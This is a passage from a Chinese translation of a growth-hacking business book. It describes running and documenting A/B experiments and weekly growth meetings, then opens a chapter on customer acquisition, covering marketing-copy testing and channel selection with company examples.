果系统允许的话，也可以在储备库中设置突出显示。例如，在GrowthHackers的“Projects”系统中，团队成员可以给想法加星标，加星之后想法就会进入单独的列表中，增长负责人可以查看并在会议上与成员展开讨论。为保证被提名想法的数量在可管理范围内，我们通常限制每个成员每周最多提出三个想法。\n这些被提名的想法将会在增长会议上由成员进行讨论，并选出将于下一周启动的试验。我们将在下一部分作详细介绍。\n第四阶段：测试\n一旦团队选出下一周的试验项目之后，这些试验就会进入我们所谓的“Up Next”（即将开展）列表，如果你们采用手动追踪，那么这个列表可以是一张新的数据表。而如果你们使用项目管理软件，这些试验则会进入系统中的一个特别工作序列或列表。接下来负责试验的成员就要和增长团队的其他成员（或和其他部门的同事）一起筹备并部署试验了。\n真正意义上的跨职能合作正是在这时展开。再回到食品购物App的例子中，市场团队成员可能会跟图形设计和邮件营销团队合作设计初次下单优惠信息的图片与营销文案。他们也会和数据分析师一起确定对照组（不参与试验的用户群）和试验组，并保证试验结果可正常追踪。\n当一切准备就绪时，增长负责人将向公司所有同事发送试验启动通知，以保证其他负责该产品的团队知晓试验情况。如果在启动某些试验时遭遇障碍，比如工程师忙于其他重要项目，有可能几周内无暇顾及试验所需代码的编写，那么负责试验的团队成员必须立即通知增长负责人，以便负责人筛选“Up Next”列表中的其他想法来替换暂时无法进行的试验。\n每一个试验的运行都意味着另一个试验的落选。因此，对于点子的筛选和测试方式的选择都应当十分慎重。一次糟糕的试验就意味着团队失去了一次宝贵的学习机会，这会放慢团队工作的进度，而错误的数据会误导团队走错方向。因此，必须保证每一次试验都能产生统计上有效的结果。应当制定确保结果可靠的完善的指导规则，同时，团队里的数据分析师应负责将这些规则落实到试验中去。本书不会探讨试验设计的细节，但是我们希望提出以下两个我们认为非常有用的经验法则。\n采用99%的置信水平：很多工具都会自动设定或允许用户自定义试验的置信水平。常用的置信水平为95%和99%。虽然这二者之间4个百分点的差别看起来并不大，但是从统计学的角度来看这会产生显著的差异。95%的置信水平意味着一个“成功”的试验仍然有5%的概率出错。这意味着，每20次看似成功的试验中就可能有一次其实是失败的。而99%的置信水平则意味着100次测试里只有一次是“假阳性”。因此，当你不确定时，就选择99%的置信水平，从而大大降低因为“假阳性”结果而选错试验的风险。\n永远以对照组为依据：当试验明显失败时，团队通常能够在查看数据之后迅速认识到这一点。但当试验结果并不确定时，达成共识就不那么容易了，特别是当需要耗费大量时间和精力确定结果时。没有人希望看到自己辛苦付出的结果却是竹篮打水一场空，所以团队成员可能会让试验运行超出合理时间，寄希望于试验样本的扩大能够改变走势。这样做虽然可以理解，但是当结果不确定时，最好的办法就是坚持试验的最初版本或者对照版本。因为虽然结果不确定，但是增加新的变量可能会导致试验最终的失败，成为一个巨大的潜在风险。可以这么想，把试验当作试验组和对照组之间的比赛，双方打成平手时，胜利就应当属于对照组。\n回到第一阶段：分析与学习\n对于试验结果的分析应由分析师或具备数据分析能力的增长负责人进行。分析结果应当写进试验总结中，并包括以下内容：\n• 试验名称和描述，包括使用的变量和目标客户。例如，试验是针对某个营销渠道还是只针对移动用户，抑或是针对付费用户？\n• 试验类型。测试的是产品功能、网页或App某屏上的营销文案的修改还是某个创意，抑或是新的营销策略？\n• 受影响的特征。这可能包括试验在网站上或是App中运行位置的截图，或者某个广告牌、电视或电台广告中某个创意的副本。\n• 关键指标。通过试验希望改进的指标是什么？\n• 试验时间点，包括起止日期，也要说明当天是一周中的哪一天。\n• 试验假设与结果，包括最初的ICE得分、样本量、置信水平和统计功效。\n• 潜在干扰因素。比如试验运行的季节，或者是否有其他促销活动可能影响了访客行为。\n• 结论。\n这份总结应通过邮件发送给团队成员，同时附上一份备忘录，简要说明从试验中获得的收获。同时也要将总结保存到储存所有试验总结的数据库中，我们将这个数据库称为“知识库”（knowledge base）。这个知识库可以是共享文件服务器上一个所有成员均可访问的专门文件夹，也可以是公司维客或内网上的一个页面。在GrowthHackers的“Projects”系统中，知识库是软件的一个组成部分，里面还会显示某个试验是成功、失败还是没有确定结论。不论试验报告如何存储，关键是要确保团队能够轻松搜索到所有的试验结果，以便日后查阅并考虑调整变量重做试验的可能。这样做也能保证试验不会重复，这在快节奏试验过程中很容易发生。\n除了构建知识库之外，很多团队还会定期在整个公司范围内或给相关部门发送报告，使公司员工及时了解增长进展。根据不同的公司文化和规范，可以采用不同的沟通方式。以下是几个例子。\n• 创建“试验成功”邮件发送列表，使接收者定期了解哪些试验取得了成功及试验对公司业务的积极影响。我们在英曼采取了这种做法，列表里有20个人，都是事先表明希望收到通知的同事。有的公司也会发送关于所有试验结果的邮件，其中也包括失败和结果不确定的试验。\n• 对于使用Slack等即时通信软件的团队，可以考虑设立一个频道或是群聊，专门用于分享并讨论试验结果。在英曼，我们在公司的Slack账户中设立了一个频道专门用于分享新启动的试验和最近结束的试验结果，不论结果好坏都会在频道里通知。\n• 在公司总览图里发布试验结果。如果公司不使用总览图，那么可以直接打印试验结果并张贴在办公室的公共区域，通过这种低技术含量的办法也能够有效地沟通试验进展。\n增长会议\n鉴于上述过程主要都是围绕着增长会议开展的，有必要说明一下会议流程。我们建议每周召开一次增长会议，但是有些团队可能会选择每两周召开一次，这取决于它们能够在增长过程上付出的时间和精力。会议的目的是聚焦于成员提名的想法并共同决定试验计划，因此时间绝不应浪费在献计献策、集思广益上，想法应该早在会议之前按照我们前面介绍的过程提出。当然，团队也可以每个月召开一次额外的头脑风暴会。\n在GrowthHackers，我们制定了一套召开增长会议的规则，实践证明这套规则十分有效。不同的团队可以根据具体的团队需求调整规则的细节，但是这一套规则总体上适合任何规模、任何类型的团队或企业。\n我们每周二召开增长会议，以便将一周中的第一天空出来让团队完成必要的准备工作。每周一，团队成员会检查试验进展，结束能够结束的工作，或者收集数据以备第二天会议使用。增长负责人则会查看前一周的工作，包括以下内容：\n• 查看顺利启动的试验数量并将之与团队的目标试验速度进行比较。\n• 与数据分析师讨论，了解所有关键指标的最新进展，以便第二天向团队介绍并分发报告。\n• 收集所有已完结试验的数据。\n• 对前一周的工作与结果进行深入评估，包括总结试验对于增长的积极和消极影响。\n• 对这些信息进行汇总，并将会议日程编入文件，在会议之前将这份文件分发给团队成员。有些团队会将这份文件上传到云中，比如Google Docs（谷歌在线办公软件）或Dropbox，还有些团队则使用诸如Google Sites（一个侧重于团队协作的网站编辑工具）、Confluence（一个专业的企业知识管理与协同软件）等软件的内部维客页面或者公司内网。\n会议当天，增长团队会抽出一个小时根据以下日程召开会议。增长负责人除应主持会议之外，还应负责保证会议按照日程进行。\n15分钟：回顾指标并更新关注领域\n增长负责人会回顾北极星指标和其他关键增长指标的最新数据，比如团队关注领域内的短期增长目标的进展，如之前提到的食品商店App团队会在会议上回顾上一周平均每位用户创造的收入、完成购买的用户数等数据。这能够帮助团队了解工作的进展、有哪些行之有效的想法以及有哪些可改进之处。\n除此之外，增长负责人也将突出说明以下信息：\n主要积极因素：即指标的提升，这可能是试验带来的效果，也可能是受到团队工作以外因素的影响。例如，在食品商店App中加入了购物清单功能之后回购率上升，或是市场团队进行的App内促销带来了一批新App用户。\n主要消极因素：即指标的下降，团队需要回顾有哪些因素阻碍了增长，比如App用户数量大幅减少，或是购买率下降，抑或是原定的营销计划没有获得预期效果或是被推迟。\n增长关注领域：即团队关注的是用户体验的哪一方面或哪一个增长杠杆、团队是否有短期目标。如果关注领域不变，那么只需要再次确认。而如果关注领域发生变化，比如从获客转向留存或变现，那么会议应就新的关注领域及为何做出这一改变进行讨论。同时也应讨论为实现这一目标需要设定的短期目标，比如使一定比例的App用户将商品保存到购物清单中。\n10分钟：回顾前一周的测试工作\n对前一周测试工作的回顾应包括以下内容：\n节奏：前一周启动的试验数以及与团队目标的对比。\n前一周的“Up Next”清单中有多少试验没有启动：对于这一点，会议应就试验推迟的原因进行讨论。\n15分钟：从试验分析中获得的主要收获\n增长负责人和数据分析师以及具体某一项试验的负责人（比如负责一个新功能开发的产品经理）会回顾已启动试验的初步结果以及已完结试验的完整分析结果。他们会回答成员提出的任何问题、倾听关于进一步分析的建议并汇总团队关于试验的评估及下一步工作的安排。\n15分钟：选择下一周期的增长试验\n团队会讨论下一轮提名的想法。增长负责人会邀请每一个成员简要介绍一下他们提名的想法，每提名一个想法之后团队会就这个想法的价值展开讨论。讨论的目的是达成共识，但如果出现分歧，应由增长负责人最后拍板。最后选定的试验将分配给不同成员，他们将作为试验负责人负责安排试验的启动。增长负责人将基于每个成员的专长选择最适合的人选负责不同的试验。例如，一个新的产品功能会分配给产品经理负责，而一个新的视频广告则可能分配给营销人员。任何值得开展但无法在一周之内筹备完成的试验将推迟到合适的日期，这一日期的选定则取决于相关团队或部门对于所需筹备时间的反馈。\n5分钟：检查增长想法储备库\n在这5分钟的时间里，增长负责人会告知团队成员还有多少想法可供考虑或日后启动。如果备选想法的数量有所减少，那么增长负责人应鼓励团队在接下来一周提出更多想法。\n增长只有“几周之遥”\n增长黑客过程对于增长的提升速度非常之快。有时候，一个点子从产生到成为重要增长驱动力只需要两周左右的时间，这包括花在试验前的数据分析和第一次增长会议上的时间。\n例如，在食品商店App的案例中，假设团队选定第一周启动的两个试验都产生了确定性的结果，其中一项试验的结果支持对App做出重大改进，而且这一改进能够立刻实现并落地。假设初次下单的10美元优惠活动使访客转化为初次消费用户的数量增加了15%。基于这一显著成果，团队决定将10美元优惠提供给每一个App新用户，这一决定带来了持续的15%的提升，初次下单用户带来的收入也大幅增加了。\n根据这一简单试验取得的成功，团队可能会发现另外一个十分值得测试的想法。例如，团队在回顾试验结果时可能会发现新用户的平均订单金额低于整体平均订单金额。于是团队可能会决定尝试一些旨在提高初次下单金额的办法。比如，他们提出了分级折扣的想法，即初次消费的金额越大，折扣就越高。\n增长黑客的一个优点是，即便失败的试验也能在极短的时间内给团队带来重要收获。假设另一项试验以失败告终，即突出显示购物满50美元免运费政策的做法并没有带来销量的增加。团队推测，可能是因为50美元的门槛太高了，于是决定为下一周的日程增加一项新的试验。可能这项新试验仍然没有带来订单量的显著增加，但是如果他们继续试验，他们可能会发现35美元的门槛刚好合适。团队可能只是多花了两周时间就收获了能够极大驱动增长的方法。\n截至目前，我们已经解决了数据问题，组建了团队，也了解了增长黑客过程，接下来就该进入本书的实战指导环节了。我们将分别介绍增长的几个主要杠杆——用户获取、激活、留存和变现，分享增长团队可以采用的策略和方法，以激发这几个领域的增长。同时，我们也会讲述更多增长团队的成功案例，看一看它们如何在这些领域发现并取得了巨大的成功。我们仍然会用食品商店App团队的案例一步一步地讲解如何将增长黑客过程付诸实践。\n大十二联盟，即Big 12，是美国中部12所大学组成的体育联盟。——译者注\n碗赛指美国全国大学生体育协会举办的五大碗赛，根据常规赛中各个球队的积分排名选拔优秀球队进入五场碗赛。——译者注\n无聚首进攻，即球队在比赛中完成一次成功的攻势之后，攻守球员轮换，各自商量战术，再各自列阵开球，这种战术可以增加传球和进攻的速度，因而增加得分机会。——译者注\n维客，即wiki，是一种开放的网络超文本系统，可供多人协同创作。——译者注\nAssociated Press, “College Football Games Are Getting Longer; Are They Too Long?”OregonLive(blog at theOregonian), December 26, 2014, oregonlive.com/collegefootball/index.ssf/2014/12/college_football_games_are_get.html; Phil Steele, “Offensive Plays per Game/Pace,”Phil Steele blog, January 14, 2016, philsteele.com/blogs/2016/JAN16/ DBJan14.html.\nFrederick F. Reichheld and Phil Schefter,“The Economics of E-loyalty,” Harvard Business School archives, July 10, 2000, hbswk.hbs.edu/archive/1590.html.\nBryan Eisenberg, “3 Steps to Better Prioritization and Faster Execution,” Bryan Eisenberg website, December 3, 2010, bryaneisenberg.com/3-steps-to-better-prioritization-and-fasterexecution/.\n“PIEF ramework,” WiderFunnel blog, August 28, 2015, widerfunnel.com/ case-studies/telestream-case-study/pie_2015_v1/.\nLars Lofgren, “My 7 Rules for A/B Testing That Triple Conversion Rates,” Lars Lofgren blog (n.d.), larslofgren.com/growth/7-rules-for-ab-testing.\n第二部分\n 实战\n第五章\n 获客：优化成本，扩大规模\n确实，对于任何一家公司来说获取新用户都极为重要。但是，如果获取用户的成本超过了用户所能带来的收益，那就有问题了。但即便这样还是有太多公司掉入靠斥巨资吸引潜在新用户的陷阱中，而且，这种现象似乎愈演愈烈：2010年至今，全美网络广告费翻了一番。与此同时，至少在美国、加拿大和西欧国家，互联网受众的增速却在减缓，这也就意味着，公司正在（也将继续）花更多的钱去追逐更少的潜在用户。\n在肖恩和Dropbox的团队开展用户推荐计划之前，公司每获取一位新用户就会花掉将近400美元，而其专业版App售价仅为99美元。德鲁·休斯顿明智地认识到，这样的成本收益率是不可持续的。但遗憾的是，并不是每家公司都能及时醒悟。主打专业设计师产品的限时抢购网站Fab就是一个惨痛的例子。这家公司曾一度被誉为“设计类产品的亚马逊”，用户增长势如破竹，被视为硅谷新兴独角兽公司。但它存在一个问题：它在广告和获客方面的花费每年高达4 000万美元，占其收入的35%以上。毋庸讳言，高昂的成本很快让Fab不堪重负，导致这家创业公司的命运急转直下，最后以极低的价格被收购。\n这并不是说投入巨资，甚至高达数百万美元的资金来加快获客总是错的。比如一家B2B软件公司也许需要在前期组建一支庞大的销售团队，以便在积累用户方面取得长足进展。又比如在“赢者通吃”的行业，可能出现一家独大的情况（具有网络效应的公司就往往如此，例如领英和WhatsApp），这时，前期投入大量资金以抢占先机并牢牢占据市场主导地位不失为一条妙计。又或者，一家公司与其强劲的竞争对手实力旗鼓相当，比如汽车服务供应商优步和Lyft，这时可能除了花巨资抢占用户以外也别无他法。当然，这一切都有一个共同的前提，那就是公司需要有足够的资金来负担先期费用，并且有切实可行的计划来逐渐收回成本。\n每家公司应该在获客方面投入多少资金并没有现成的公式可参照，这是由公司的具体商业模式、面临的竞争及其发展阶段等诸多变量构成的函数所决定的。例如，资金雄厚的成熟公司明显能够负担成本更高的获客策略，例如电视广告和印刷广告；而资金紧张的创业公司则必须另辟蹊径，采用可能影响力相对有限但成本几乎为零的零打碎敲式的方法。但是话虽如此，尽可能提高获客的成本效益率永远是王道，而且所有公司都应该始终致力于树立良好的口碑，以降低新用户的获取成本。破解增长的过程正可以帮助我们找到成本收益率最高的获客方式，以优化获客手段、驱动增长。\n一旦建立起增长团队、确定了关键的增长杠杆并且经过充分测试后认定你的产品“不可或缺”，你就可以开始破解转化漏斗的第一阶段：获客。前面我们曾建议，在实现产品—市场匹配之前不要火力全开采取大规模的获客行动。也就是说，在确定你不仅拥有好的产品，而且这个产品对目标市场有很大吸引力之前，不要贸然行动。（但是对具有网络效应的公司来说，获取用户的行动通常必须与产品开发同步进行。）\n扩大获客规模，首先要实现另外两种匹配：（1）语言—市场匹配，也就是你对产品优势的描述打动目标用户的程度；（2）渠道—产品匹配，即你所选择的营销渠道在向目标用户推广产品时的有效程度。\n这一章我们将说明如何利用增长黑客过程来实现这些“匹配”，如何通过快节奏测试发现更有效、成本效益更高的方法以接触和吸引目标市场。首先，我们将讨论如何打磨营销语言，使用最有效的方式向用户传达产品价值及特点。然后，我们将探讨如何找到一两种核心渠道以及如何使用这些渠道来实现最优增长。最后，我们将探索如何寻找巧妙的破解增长的手段，通过诸如把推荐计划嵌入产品中这类病毒营销机制来获取用户。\n设计打动人心的广告语\n语言—市场匹配这一概念是由詹姆斯·柯里尔提出来的（我们在前言中曾介绍过他），它用来衡量描述和推广产品的语言能在多大程度上打动潜在用户，促使他们试用你的产品。它涵盖营销活动所有环节中使用的语言，包括电子邮件、移动推送以及印刷和网络广告等。对基于网络和移动设备的产品而言，它还包括产品本身包含的语言信息，这不仅指着陆页显示的品牌标语和价值主张，还包括产品的每项功能、每个屏或每个页面的文本信息。这不仅对基于网络的公司很重要，对于所有其他类型的公司同样重要，这是因为如今每个产品都必须在网络上“存在”，而用户接触产品的渠道各不相同，他们打开的第一个页面很有可能并不是你专门为他们设计的欢迎页面。\n不管潜在用户通过何种途径发现你的产品——无论是广告、文章、评论或者从他人口中得知——他们看到的第一条文字内容必须迅速传达正确信息。事实上，今天信息传达的速度必须远远超过几年以前。研究表明，人类的平均专注时间（将注意力保持在一条新的网络信息上的时间）现在是8秒，而在2000年是12秒。这也让我们获得了一项“殊荣”：我们的注意力持续时间比金鱼还要短。要在如此短的时间内给潜在用户留下深刻印象，就必须让他们立刻明白为何你的产品能够让他们受益。这就意味着，你所使用的语言必须直接迎合并且进一步点燃他们的需求和欲望，从而抓住他们的注意力——整个过程必须在8秒甚至更短的时间内完成！只有这样你才能多赢得几秒钟的时间来向他们解释为何应该购买你的产品。换言之，你设计的语言必须非常简洁地传达出产品的核心价值，也就是那个“啊哈时刻”，并且回答每位消费者最关心的简单问题：“你展示的这个产品将如何改善我的生活？”\n设计打动人心的产品描述最成功的案例是乔布斯推出第一代iPod时所使用的语言。2001年iPod问世时，市场还是MP3的天下。乔布斯完全可以在他传达的内容中解释为何他的播放器与众不同、性能更加优越，但他没有这样做。他明智地决定不使用任何已经被用来形容MP3播放器及其功能的表述。他只用了一个简单而迷人的句子——“将1 000首歌放在你的口袋里”，就彻底重塑了人们对便携式播放器魅力的认知。他并没有花时间去试图说明他的产品何以在价格和性能方面有别于其他产品。换言之，乔布斯明白iPod的核心价值，也就是它神奇的“啊哈体验”在于能够让你将你的整个音乐库随时随地带在身上，享受绝对流畅的音乐体验。当然，我们并非都是乔布斯这样的营销天才，但只要有正确的测试策略，我们就能不断接近极致！\n对于像我们这样的凡夫俗子，要设计出打动人心的语言极其困难。人们对语言的反映是高度感性的，而且在很大程度上是下意识的。同样的话一些人听了会心动，而另一些人却无动于衷，有的甚至觉得刺耳。营销者为想出绝妙的品牌理念和广告文案而寝食难安，但即便是这样，他们最后传达出的信息仍然常常平淡无奇。相比之下，一些家喻户晓的广告口号，如“It’s the RealThing”和“Just Do It”却给我们留下了深刻的印象。这两个句子如此简单，没有舞文弄墨，语言也没有特别之处，但这样的文字表述有力而且易于记忆。它们为何能如此打动人心？毫无疑问，广告专家和商业学者可以写出长篇大论来阐明各自的答案，但是，可能没有两个人的看法是全然相同的。撰写营销文案并非精准科学，这也是为什么增长黑客方法将科学试验的严谨和精准引入创造过程。也就是说，你不必成为像乔布斯那样的营销大师也能实现语言—市场匹配，增长黑客过程可以帮助你实现这个目标。\n快节奏的增长黑客过程之所以能够完美解决这个问题，其中另一个原因是，我们可以轻松针对语言进行A/B测试。利用Optimzely（营销工具）和视觉网站优化器这样的工具就能相对比较容易地替换和测试网站内容，只需在你的网站或者App上加入一小段代码，就能向访问者随机展示不同版本的网页内容，同时衡量并比较用户反应。包括Salesforce营销云和Mailchimp在内的大多数邮件营销系统都能帮你轻松测试邮件的具体内容，例如邮件标题或者行为召唤。此外，像脸谱网和谷歌这样的网络广告平台也能让你试验许多不同版本的广告。所有这些服务都不需要任何的专业技术知识，不过，要是你具备这样的知识，就可以自己设计系统，就像病毒新闻媒体公司Upworthy所做的那样。\nUpworthy之所以能够以闪电般的速度迅速成长为最大的媒体网站之一，得益于公司员工坚持为他们发布的每一则故事寻求最佳的语言—市场匹配。他们的天才之处在于，他们总能找到吸引眼球的标题来重新包装网络内容，使之迅速蹿红。这并不是由于Upworthy的编辑们天生充满才华和创造力，而是由于他们不让创造力成为一种偶然——他们通过试验破解创造。他们挑选标题的第一步是让一名员工为每则故事撰写至少25个不同的标题，接下来再由负责人从中挑选出几个他/她最喜欢的标题，最后编辑主任再从中决定哪些可以用于试验。他们的试验方法也再简单不过了，所需的工具仅仅是脸谱网、Bitly（一个为网页内容生成可追溯的链接的免费网站）和一个老式计时器。下面是他们的具体做法。\n他们为同一篇故事选出两个最具潜力的标题，并为它们创建各自的Bitly链接。然后，从脸谱网上选出两组粉丝，要求他们来自的城市具有相似的人口学特征和人口数量，例如一组来自明尼阿波利斯，另一组来自密尔沃基，两组分别使用一个之前创建的Bitly链接。接下来工作人员只需要设定好计时器，然后等着统计两个标题各自的点击数和分享数就行了。时间一到，拥有点击数和分享数最多的标题胜出。这样的试验除了能够极大地促进某篇文章的病毒式传播，还能不断丰富他们收集到的最具吸引力的文字和短语，以供日后使用。正是出于这个原因，Upworthy的创始人埃利·帕里泽指出，“标题的好坏能够决定是1 000人还是100万人阅读”，一切额外的努力都是值得的。\n无论你的产品是新闻报道、移动App或是零售网站，你都可以使用同样的方法来优化信息传达。如果你还认为自己需要一个经验丰富的营销团队来为你凭空想出几十个具有病毒传播潜质的品牌理念，那你可能就得三思了。你的增长团队在设计试验文本的时候，可以利用一些渠道来寻找很可能打动人心的文字和词组。其中一个渠道是使用用户在社交网站或者网络评论中用来描述你的产品及其优点的语言；你还可以利用前期产品“不可或缺性”调查中用户留下的评论；你甚至可以直接给用户打电话，简单询问他们如何向自己的朋友或者同事介绍你的产品及其价值，这样往往也能找到非常好的用语和表述；和客户服务团队交流有时也能使你豁然开朗。此外，你还可以查看用户来电记录、浏览论坛和在线产品评论来了解目标用户使用的语言。\n从小处着手\n只是对语言进行细微的调整经常就能极大地改善获客效果，正因如此，最为高效的试验过程应该能够让你迅速测试许多不同的迭代。看一下Tickle的例子就能明白这一点。这家由詹姆斯·柯里尔于1999年创建的公司通过略微修改其照片分享（社交产品）的语言描述就取得了两大突破。最初，公司网页上将这个服务描述为“在线存储你的照片”的工具。当看到用户反应冷淡时，柯里尔提出了一个假设：用户没有向身边的人推荐这款产品是因为他们不认为一个图片存储库特别值得与人分享。于是，柯里尔和他的团队开始试验稍稍改动描述，将其改为“在线分享你的照片”。实施这个试验几乎没花什么时间，但它的效果不仅立竿见影，而且简直是出人意料。只是改了一个动词，将“存储”改为“分享”，就彻底改变了用户对产品功能及其使用方法的认知。一夜之间人们都开始疯狂地上传和分享照片，仅仅6个月，Tickle就增加了5 300万用户。\n这次成功让他们信心倍增，很快这个团队又在一款约会App上完成了同样的壮举。这个App原来的品牌理念是“寻找约会对象”，但增长丝毫不见起色。他们琢磨，也许这次也能通过重新将其定位为社交产品来激发增长——让它不仅可以帮助用户找对象，还能成为一个用户利用自己的社交网络来为单身朋友牵线搭桥的社交平台。于是，他们把品牌理念改为“帮助他人寻找约会对象”。果不其然，用户开始向自己的朋友发出邀请，甚至向已婚朋友发出邀请，因为已婚人士也可以帮助他们的单身朋友找对象。修改品牌理念8个月之后，这项服务就新增了2 900万用户。\n所以，如果你在计划测试第一批增长黑客手段，请先从语言开始，因为这是一切的起点。\n广告语不仅可以优化品牌，还可以优化产品\n有时，措辞上的改动还会引发其他新的改动，不仅是对文案，还包括对整体品牌理念，甚至是对产品性质的改动。这也是为什么增长黑客团队不仅应该包括营销人员，还应该包括产品开发人员及工程师，并且确保他们之间能够自由共享数据。这是因为在广告或者网页上改动几个词有可能像Tickle那样产生出人意料的结果，但也有可能根本起不了任何作用。如果是这样，就需要深挖原因，去试验一些更有实质性的改动。有可能在这个过程中你会发现需要对产品彻底进行重新定位。但不必担心，许多伟大的产品在成功之前都经历过类似推倒重来的经历。比如宝洁的Febreeze（空气清新剂品牌）。这是一个实实在在具有突破性的良心产品：这种化学混合物能够真正消除异味，而不只是用好闻的气味将异味盖住。所以，当宝洁发布这款产品的时候，它的团队很自然地在产品信息中大肆宣传这一特殊功效，他们使用的一句宣传词是“Febreeze能永久消除衣物中的异味”，但销量十分疲软。直到宝洁进行市场调查，对忠实客户使用产品的过程进行录像，才发现应该把它重新定位为常规清洁过程中使用的产品之一，可以使清洁的房间散发沁人心脾的芬芳。于是宝洁在原来的配方中增加了香味，并且开展了大规模广告宣传，在广告中重新进行定位，展示女性享受它带来的芬芳气味的画面，广告词也改成了“让从未有过的清新环绕在你左右”。\nNasty Gal是在美国千禧一代中很火的女性时尚品牌，它的创始人索菲亚·阿莫鲁索曾说过，了解什么样的语言能够引起目标消费者的共鸣不仅为她带来新业务，也帮助她树立品牌形象。她最初创业是在易贝上出售二手服装，那时她会花几个小时浏览网页，寻找用来形容同款衣服的动人描述。为了获得灵感，她会重复搜索热门词条以了解当下的流行趋势，然后用这些词来定位她的品牌。正如《纽约》（New York）杂志记者莫莉·杨在一篇关于阿莫鲁索成功故事的文章里所讲的那样，“2007年，蝙蝠衫、金银丝面料和格子衬衫十分流行，而2008年，铆钉、建筑风、折纸风引领潮流”。掌握这些流行元素之后她开始去旧衣店淘衣服，买回一大堆二手衣物在易贝上出售。她从此创立了一个独一无二并且永远时髦的品牌，一个能引起80后潮人共鸣的品牌。\n阿莫鲁索在她的书《女孩老板》（Girlboss）中回忆道：“每一周我都比上一周行动更快、看得更准，也更加意识到女性需要什么。”通过观察顾客反响，让她很好地意识到，她的品牌应该围绕女性赋权，围绕如何帮助女性树立自我形象以及对自我价值的认知。这正是这个品牌如此独特、发展如此迅速的原因。遗憾的是，这家公司没能维持早期的增长势头，在做了一系列糟糕的商业决策后于2016年底宣告破产。\n寻找最优渠道\n股市投资专家有一个共识：最好将资金投资到许多不同的公司和产业。但是，你如果想为自己的产品寻找营销和分销渠道（在互联网领域，这两者是一回事），却不能使用这个策略。营销人员通常错误地认为，通过各种不同的渠道同时展开营销活动最有利于增长。但这样做的结果是，资源被铺得太开，让团队无法专注于优化一两个可能最有效的渠道。正如谷歌创始人和CEO拉里·佩奇所说，“有的放矢”效果往往更好。又如贝宝的联合创始人及脸谱网的第一位外部投资人彼得·蒂尔对创业公司的创始人所讲的那样，“很有可能只有一个渠道是最优的。实际上，很多公司的分销渠道没有一个可以正常运作。糟糕的分销——而非产品——是企业失败的最主要因素。如果你的分销渠道中有一个能够正常运作，你就能获得巨大成功。但如果你什么都想试却一个也没做好，那你注定会失败。”\n与此同时，太多的公司随波逐流，别人用什么渠道它们就用什么渠道（如谷歌付费广告或者脸谱网广告），却不愿意去尝试可能对它们的产品而言更有效而且成本更低的途径。这也是可以理解的，因为要找到合适的渠道是一个艰巨的任务，这不仅是因为找到适合某个产品的最优渠道需要进行大量测试，还因为有很多现成的渠道可供选择，而且新的渠道还在源源不断地出现。通过增长黑客过程进行试验可以帮助你相对快速地发现一两个最优渠道，甚至抢先于你的竞争对手找到它们。\n缩小渠道范围\n你只需两个步骤就可以锁定你的最佳渠道：发现和优化。在发现阶段，增长团队应该广泛试验各种可能的渠道选项，但这并不是说不加选择地乱试一通然后看哪个管用，而是必须对各种渠道进行深入调研，最后选出若干优先项进行试验。我们马上会介绍一种简单却十分有用的方法来帮助你寻找渠道。一旦你找到了一两种高度匹配的渠道，就可以进入第二个阶段：优化。在这一阶段，你应该在扩大规模的同时努力实现渠道成本效益比和影响力的最大化。我们来看一看优化过程是如何进行的。\n首先，你必须对所有可以考虑的渠道建立正确的认知。几乎可以肯定的是，一些渠道明显不适合你的产品，可以迅速将它们排除。比如，如果你销售的是企业业务拓展软件，那么在娱乐网站上打广告就毫无意义；相反，你可能需要把精力放在那些直接面向商业人士的渠道上，例如商业新闻杂志。为了避免不断增加的渠道选项变得杂乱无序，贾斯汀·马雷斯、加布里埃尔·温伯格、安德鲁·陈和詹姆斯·柯里尔这些增长专家将主要渠道划分为三个基本类型：病毒/口碑渠道、有机渠道和付费渠道。我们下面编写的一系列选项（它们具有代表性，但并未穷尽所有）正是基于他们的这种分类。\n表5–1 获客渠道的三种类型\n当然，其中的每种渠道又包含众多具体的策略。例如，GrowthHackers成员普什卡尔·盖克瓦德就为内容营销渠道编写了一个有用的清单，当然，清单内容还在不断增加中。\n表5–2 内容营销的主要类型\n因为篇幅有限，所以我们无法一一列举每种渠道包含的所有具体选项并深入细致地讨论每项内容——那需要写很多本书才能说清。不过，前面提到的专家以及其他很多人提供了很多关于所有这些渠道的最佳实践的详细信息，这些信息都可以在网上找到。这里我们只是想强调，深入研究这些选项应该是优先级试验选择过程的第一步。接下来要做的就是从中选出几个可行项来有效地进行试验。具体做法如下。\n初步筛选\n通常，根据你的商业模式的具体需求就可以轻松地进行初步筛选。例如，如果你向其他公司出售产品（也就是B2B），你通常需要一个销售团队和销售支持团队来拉动增长。你也需要参加展销会，因为在那里销售人员可以接触到潜在客户。你还需要一个可以帮助公司建立专业知识储备系统的内容营销策略。因此，内容营销、贸易展览会和销售团队可能就是接触目标用户最有效的渠道。而电商模式的核心在于吸引尽可能多的潜在消费者来浏览网站，所以搜索广告和搜索引擎优化显然就是关键渠道。而像优步和易贝这样的平台型企业则需兼顾两头，既要有吸引供应商的渠道又要有吸引消费者的渠道。\n但这绝不意味着每种类型的公司要将自己严格限定在这些最显而易见的渠道上，尤其是当公司在扩大规模时更不能如此。例如一家处于发展阶段的电子商务公司可能发现，建立社区这种病毒渠道不失为一个很好的增长杠杆。亚马逊收购爱书人社区（Good Reads）就是这样一个例子。像Instagram和Snapchat（色拉布，一款照片分享应用）这样蓬勃发展的社交网站，不仅涉足新的领域，而且还吸引了巨额的风投资金。这样的公司可能会通过投资电视、广播和印刷广告，而不是仅仅依赖病毒机制，来进一步巩固它们在该领域的统治地位。但无论是哪种情况，你必须首先集中精力优化那些对你而言成本效益比最高的渠道。\n缩小选择范围的下一步是考虑用户特征及习惯，这就意味着要去发现用户已经表现出来的行为特征，例如他们使用的谷歌搜索类型、购物的网站以及所使用的社交网络。比如，你可以问这样一个问题：你的产品是否能满足用户的需求或者是否能提供他们一直在网上寻找却未能找到的解决方案？如果回答是肯定的，那么那些人经常用来寻求答案的渠道（例如搜索引擎）就是理想的渠道。如果你无法确定是否有很多人正在寻找（或者搜索）你的产品所提供的功能，那就需要用其他的方式建立产品知名度。Dropbox就是如此。它刚成立时，线上文件分享和储存服务还是新事物，所以并没有人在谷歌上搜索Dropbox提供的解决方案，而这也是付费搜索广告效果有限的一个关键原因。但推荐计划解决了这个问题。如果你的目标客户非常钟爱某个和你的产品互补的产品，那么你也可以选择品牌合作或者交叉推广的方式来开展营销。\n领英增长与国际业务部负责人阿蒂夫·阿万曾帮助公司将用户人数从1亿提高到4亿多。他制作的这个用户行为类型表可以帮助你进行决策。\n表5–3 